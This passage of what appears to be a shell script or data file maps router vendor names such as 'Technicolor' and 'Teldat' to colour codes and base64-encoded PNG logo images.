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' ["Technicolor"]='#B2B2B2 ##E6E6E6 #696969 data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAQgAAABkCAYAAAB6t65qAAAVeklEQVR42u2dCXwURb7Hm8sLFB+7Xrvu7hOCLIiAC5/F50PDJXLLsd7HIkIEQUEO8Vg1MwhRlEBu4CE5yAHDnUOBgENC5khIgASCRJJwhOBCThJzEtJbFSq8WKmZ6e6qkMnk//t8fh+i6aqurq76dtW/qzqSBGoJ3YYsUx4B1dLmtJC6hy9BlYAAECAABAgAAQJAgAAQIAAECAABAkCA2jIgRkK1ACBAIFcGxB+QvZGDkScAIEAgAESj7ke+RF3TjHYGiJehaYMAEGzNZFzTMQAESIT+jPwIAKJN603GNWUCIEC8GoNciDy8nQNiVBu/pgeQ86hrmgaAAGlVR+QvkK+TygVAtH31RI5E3oM8rh3cRwBECyqaqlwABAgAAbqpcgAEAMLFAPEKVIk4VQAgABAACJAtVUntd6kxAAIAAbIjvOKujqrcOchDiAcj/434cRX5dkEejaxD/g55G3IQ8lLk/gLL3xX5eeSPkDeR8/iS/3ZH7qQBEKMZxz1B8gxA3o7sh/yupO6VcGM9NtYpS4OQ30dej7yVnG8B8kMq62UQde/u1li/+J5/QOo0HDkK+UvkN5Af5Lhv3ZFfR16BvA55C/Iqku9fBQDiVQ15/BF5HnKgdCPAayDlew35v1TmdRd1vwfY6CO47XohhzkjHHCjy2J0EFu+rPDG4wZ01UFe6cjPcpT9CdJYKxycpwB5A3JvjYCYgnzCTv51pBw9HZS3A5WulvrdiwrP011h/ZRJ2td2dCUd7pyDusVvvQ4jv0Uau1JIxiDXOMjbKN1YIt7hFgACrxuxItfbKU81gZjSh9sQKv2lJr+7gzw4/93k91ecDQ6Y/qdVwEEJINzJharJ8zsVjasRQEHS/7+SVeo6cq7OCgHRg4wUlOaPb/ZAFYC4Rv4/XrNwQMV5ziD3akFAjCf3WVbp8w6u/x4yGlJ73/Yi39tCgPgL8j6V5cFgX66gzdKAyCf//+82+l2BM8EBN8qfNDQCe4B4gVQeK91VRpyjqXcofFLgEU+GhnI3eo/CEQQeAeXZeGIW2cm/BPk+FYBwl5rvmZBJXRXZeaIdU9BAr2oAxJccdVuK3M0OHJLtdLgLBDC2RoNZdkaAjfpAJSCGSc3f3jW6goyeztsB2g7Gw6apBlPHXyTn/NVGfkXOBIgnkd8mc+hFZPjUtLB4/ruY4bl25qn0zcUVsQT5MdI5sB8m8Y0CRgXNdVDm3yPnSOwlxDitG5ln309+fosMCcuajCD6KQREU1ciryVPhI4kze+kG/sdShnHeykEhEzFfjAUvMn8u0OT8yyyAddpggGxkHGOGjI9cyd1i+vqT8jPkOvMbHKst418O5FpCKvTv0HFiPDPQ5F3M47PcTC9UjOC6GmjDcaRWEEHKpaA11ScYhy/WcUIooIxqrtOYI/jD/9y5kDlVY4ofgdykU3Tp5FOaks44EMvzjrngMgGRuNd7CBN49NrEQk2SSoBsZl0CHsNrZgxBVAKiEaHEnja0hjGkyxUICCGMfI3OyhTo4aSstiKwSxhXO/nTWBrb0RAj6C2CgJECmOE62i1aVcyaqCv5XmFgKDjb7NI22wT4gHEi4y5+P0K0t1OKkrJTZ3EIO+Lgq79NhvDXqXfE1jMSN9DISDqyUhOiX6g0qY6OL5UISA6MgB/iATSRExl6ZGlr4r0HzPqbDAnIKYw7sFwheXBI5xEKn0uacuOphiN7fYLBXB0KUDQMYGFKtK+RKWNVdg5AgReOwsQy1Sk78dI/6hCQHyh4jyfMUZcIgDxMiOW8LCgul3KCMR1VZG+ExmNKhlFKAUEPXqIVHlNf2FMyacoHEEskdqotALiAQYh71P5RqLpPPyCjcBk02OqFY5QeAAxQeU10On/RyEg1Gyims0YqYkARCx13NcC6/YklbdOQx4vM2JbXTQC4gHGtGWshjJtpvIIVwiIx9sqIJQ2JlrTqXRJGs5NE51ekPIu9fv9gq+dBYjxKvOoVdDxWYB4TsU5pqoERImCe3o3o+x9BNXrPYzOOERDPncxpilPawTEa1Lzt05dNJRpnIJ7wQKEW3sDxKeMSO1FB86jXEnlQa84+5r6/We3ABBqnyrVCgFDn0fNQrHJLQCIJ6SWe9U2TGr+Wvc2jXnR04y3NQJCRx2ToLE89zPu5Z0KYhDtDhArJO3vzW2ZXqkWRv3e4xYAYswtAsQoDkD8IgAQ06hjjgqs18mM2IZW0W8PPtIICD/qmJ0cZaJXgvYGQDSXdwsAoi91jhjq97NvASBGczaWcQoBMaIFAVGs4J7+Q1L3ZkSNpgocneyh8vpEIyA2UseEcJSJnpr9tysDokRjw/2cER/ADXkS5YmUJ1Ae38R0lNtfQKBLLSBG3iJAuLcyIIa14BRjhNQ8gN1JY14mKq9ZGgHhKWiK0YNxL7sBIJrrban54hrRmked48dbAIgRnIAYqxAQT6s4x6QWAMRDjECiqCDlfYzr1ZL3HYw41UiNgJhBHVOs8dqepfIpZBwDgCBPQHrH24OCy0Y/5eok9Vuf1QLCnRMQrLcTrLcY/9uCgChSOCqyUsetFVi356i8P9SQx3ip+T6VOzQCoifjHmh5s7KeymNLewOE0jk4HjLSm42+EVw23LHo9+nBbRAQkpMCgl4KjZ/WAwTV7XIq77OS+hWaZiqPGBvHKV0olUodt13DyIh+7fqmqwPiPHUhr6tIS+8ArJX4vvPA0luS9iXKWgAxnDNgNaYNAeJukhe9n6S7gLp9hAHP5SrSz1QxLVMKCA9GbGSwijLRAVP8ql7pUuvebRUQFupCAlWkxQ0sn0pfJqn7YEcXyf47cvy7LAYkvrJxc2jhPfirARA2NYNRtp8Vlg/vsv3UTv56Rt7zFF7vNSrdPjvHKwUE3gdBr6vAa0ocfQgGp2O9tZtl43iXAsTXjHn+ZySo1J00Anuf3JooNf9snUzAg/c1PEVAgjtzZxJDGEEayi4ClOkOythfYn8v4CyZ2w4k+eMpCV59N5QMn5s2hlEtFKSkAfFsCwBiokpAFKoABK6zMIm9uQjvon2FDK3vJPWF//oa3sUY0iSAuMVG3rczOiQ23l/zpNT8OyB9SL71jE78oABASCTuUMGIn+HR8J8YYMDtIZFxDbsl2xuvXAoQQyT7n9tq/LKPPb0t8a1/8FNQztGMeIkaf+9kgBjmJIBojCft5KhbDIpudubtpyTbnwQ0El+wcUwhAb4kCBASeViwvrOB+wH+9gR+W2ay095SyINIag+AkEjgz14DOKcgjzF2brIjZygsJ94padV4DgtjStISgBjdBgHRCInFkuPvfNr6CtNTdvJ+iABabb5ZCoN7Wj4594zk+LubLIfbgaHLAgLTMMJOpWCyKtmqizfpfMIIfNn78GkKmasqVQcy7D2qIH/ceffb6bQiFkrRc+VRTgCIAo5rwsHFTVLzJeS2HhxLJeVffca7M48pyBe/HZsvKd+/ofWjtd3I1ELJt1TxA0bpTl+XA0SjniYxCTzcPEhiBPgjsR9I6j6d3ok8UZaSAOFmEmTC+fmQJxXeR9+Ds7z48+4LyBQFP6HiyBx2FcnfUZk7ksb0KoEO9gMqy/AySYf/fclO+lcpq9ka/wcq7VQHx0+njn9AQ93+jlzPWnLfDpD6XSPdeNPVV9L+8ZP+JEa0nrSLGPKA+py0m84q8+tKYhSNVvs6FY8s8QpYvL8Iv/qMJ9PqTQQ+aj/F34Nxv++WQCAQCAQCgUAgEAgEAoFAIBAIBAKBQCAQCAQCgUAgEAgEAoFAIBAIBAKBQCAQCOSC0mfXztDl1IYjR6Kft+pzarbrs2t2oX+jkWPRzz+gf/c1/Hvj5++R4xp+l1MTo/+5JkJvKdqqtxRGa7apIEoXlb5FH5ke/RtHpcewfTyW9vKI4zv2rEs2xARZ42460BqrxnsDzaHJAfGxPE7z3x+V67czVq3P+u2Ka/R5/x3bqr3XxfG6Jtp3d02MXxxxrFrXJfhslM97xTJ9zivOgb9v8EWvzXKV/nuG45S6rmrF5vySwJhLxYGx9oyPseWLJYEG68VggyUvJEar488Fh+lOhmzXnQyO1mrPEyFbdeaIBXpz5MJG65KiPsD2NEUu0lu22DU+brk5coohz3Bni4Jh1Vn5QdzBddk1slbrz1Rf1CcX5egsBbJW681XyvVbMzJ0kcdlHm/bkHw4OtAi89gUYDxs9Y+XeZzpF5eQ67tT5vEvPlHpVauDZF7XxvhVIUjIWl0b51eBOnmtfG6lzOVK/Wm5Uifz+MpVv8T84gCZx1mXN1gsF4JlHu/ICU5BHb3a80SwrNW69NBzCAaXkGWt1pmiLujNBvcWgYMut+YFNFoo5IJDVlW2zlKYzwmHKr0h4ygvHDYGpyXwwuGHAFNWsn/8dV5A5PjuyuAFRKFP2CExgPCt5gEEtpy7Mp0bEEXLE3kBUV/5ZVF+iX8RLySO/7LRKAISnidDarggkRF6wdMcmccDCZT+uqcpaoVRNnYWAgbvPLkHnkrwgKEBDqcqUxEcSrngYCmo0RtOpvDCYfXmY5kxgZZqXkCYA348wguHVP99F3jhgF3mvTHRWQBRn/GNkRsQF7x+RVOFUl5IlJev5h5FXCoJrEu5uCnNOUYSwVd05qgTXJC4AYpkL7OB729q6LLrxqHOnc8Nh4zyQ3pLYR3fyAGlN2RaeOGwMvJ48Z4gax4vHPYGJR3lhQP2T34xRhGAqFi9LtNZAHEtcU0aNyCwS/WHeAGBIFP/72L/dF5I5BUHFlnzQvKcAhInQ6s8rZFmbkiYosr1lqgZqsGABom367JrfbnBkF17TZdWksADhptw2HbKxAsHfVR6/c71KSm8cIgOtF63+B/8iRcOyQEH6nP9dp7jhcNZvx111d5BlUIAEe1bwwuI2jifX+XzXnXcgMhfmYs7OC8kaitXnkGjgFpeSOQWBp225gVX8EMiJFl3IriWDxIh9brUiB/RaKKeFxQ6U9SWr1INyv6o0crzcj80pUjnhQNyiS6lOE0EHPQ7MpN44YAdtvGIkR8OFvlgYEKiiNHD8YC9R0WMHvJ8t2eLgIMoQDTEIc56nRIyiqhYnso9ikAuLl1r5AXEjaDlOgsaSdTzQsKQHWzxPBFyjQcSDaA4GmpG04Wr/FOOqLNfWrc8aRcOy7Nr39Hn1FZyjxyyqnN11oJcXjjorIXXddtPCoGDb8jRNPzk54VDbKCl3BoQf1kEIM747zGJAMQVn3CTswGi/tSqQ0IAcXmFVQQg6qv0FZdKAi6LgESGgKAldlR2sMnzZPB1bkgcD83SWaJyBUw5runMkR/LstyxWSBSn1OzU8CoQdb9VJGGOnaJEDjsOHVYBBy8Io5fig6yFogYPRwONBpFwOGIX3xRru+uahGAKF0TbBQGiBi/WhGAqEvxThICCDxVqdTli4BEaZn3IRGAQNOV+tSLmywiIBHxc8hhPF3ghsSJ0CI03TjCDwk05TBHHViRuuPGX7t/OK3a7ZkjlXueTa1KavDR5h7DclqVifaMY5URixKvGBYlXN6p2YmXd2FP/tZsmOB50IQ9/osDmv2858HErzx2xvrM3W3ideC8XcY9b3+XsGf2JhOvE2YF7M6Y+a1JhAtfWxBT/vq7Jkcue2Oe2ZGrfGYervKdabZrn7dMjlyz/p/75JPTTUKcN3GXXDbeJJePZXhc0k2XPWdqcPnYJIYPy+XPJZy7PPPgmUuzkrLyZ5ua+ZIHw3OYPn3J49APWYt/3HnqQ7M97/rpQ5Mjrzm+OHpswocmXj9nXJo4xej57byDgf9S4neNQZ/OOYgcH/Dp3AP+n8zdH/jJOwfWfewRH/TRrP3+8yTDC50kaX/ZVGlfmSzE4XkbpDWZsgh3nhye2mlSmMzruyeEXvEY4COL8MKB3/7s33eZLMLRvd8xGt3elEX48sNDjhX+cZAswr96uF0rn91L5nXF+z2vyIndZSE+c8chubCDLMInzrqZUs70k0XY3/pMmrfZXea1l2l4uRQ5XBbi8JGbpVUTZSFeM+VelwdEt/FhAIhWAMSv7/cqcEZAZOS6mZ0PEO5lwgARMSpcLCAOlE0BQNx6QOwGQCj3zyIB0RsAAYAAQAAgbALC4myAWGl2v9o+ABGZD4BQDIg5AIhWAES6qwMifGQEAEINICaEFgAgIAbRBBBWAIQaQMSXPQ+AaAVA9HH5KUahUwLi7KNOCIjhpcIAsXlkJAACAAGA0OjjuY8mAyAAEG0AEHMAEK0BiJxHU5wNECvMIwAQrQWIrhPCCgEQAIgmIwjnA4RJKCCiBC+UqpgMgIApBgBCvf0sTx8FQAAgABBaAPFezyIAhDJ/mTS8BADhAoBY8PjqM6IAscvVpxgAiNYBRNioLQAIVYAIKQJAACBaIkjZPgCxr2ISAKIVANEbAAGAuOHlSe7FwgAROnIrAAIAAYBwgnUQfslOCIhwGEG4BCB2AyBaZyVljhMCwuSkgFj/Qvd2AIiwYgBEKwBifs9iVwfE4dMDxvpax93D62Hxo/8scC/GVrGAOFAxEQABQUqnBkT27UZn3IuRmv3YCCF/ncrwXA8ABAACAOFigDhypv9wAIQaR+T/HwACAOHMgMg463YwJfuxy2Lc/ymnA0TESAMAQoXvmhhaAoAAQNx0SacpkrPJqQERXzHBGQHRZXrE+50nb9bb9aQwnSPfOyFE55yAmOvSgCif/0gJAKI1phijtrULQEgBmd1E1P3CQcH3AiBaYQTxLhpBJHUPRB08iMuHu6+Tz3cJBUAo3YsBgABAtIURxOxeJaL6j1zccakwQBR2mgqAULUOonKotK88nuH9TO8v38fw3gaHXljhbIDwGLy+u6sD4ugj0/5x9eFBvbX5b25N7aSA+BAAoRgQ28UCQqTWnp7sbIB4b6jvPa4epDzU580Rom4hAkStEwJimUBATHM6QBg9O0uG0cOEeNP4oQAIFfJ8wXCbxwDf92m/M9DnPXueM9B3Pu1lA1YtAUAotEevUoGA+MilASFS377yewBEK8m/32ePASBaARCFHT8GQAAgABAACDYgSroMlIs6zUYjiTkIFvPloo4LkBffiE10/AT9/BmyJ7IeWUfsSfwF8ecNLrvtr64NiEkACFcAxG6BQUqhgJjtVuNsgAABIAAQLgcIt6vQWwEQAAiN3tB3SUBinzcHiHD6gCVdxU0xesWjzn0IG8HCeNMebj/e9OxeB2/ao9cByvENecx22w29tY0D4isARKsBwr/fstXQmkHCJcsdJN9xtwsxzgsAAYAAgW6NXBwQ6x77uJ9/34+ua3FA32V1v3G/Zd9AgwG1L/lkjkWdu+im12YWN/OazBK2T5X+xmHpXaFCQaDW1X8Ak/Fhq6idrPUAAAAASUVORK5CYII=' ["Teldat"]='#599BD7 #2F2145 #D6D6D6 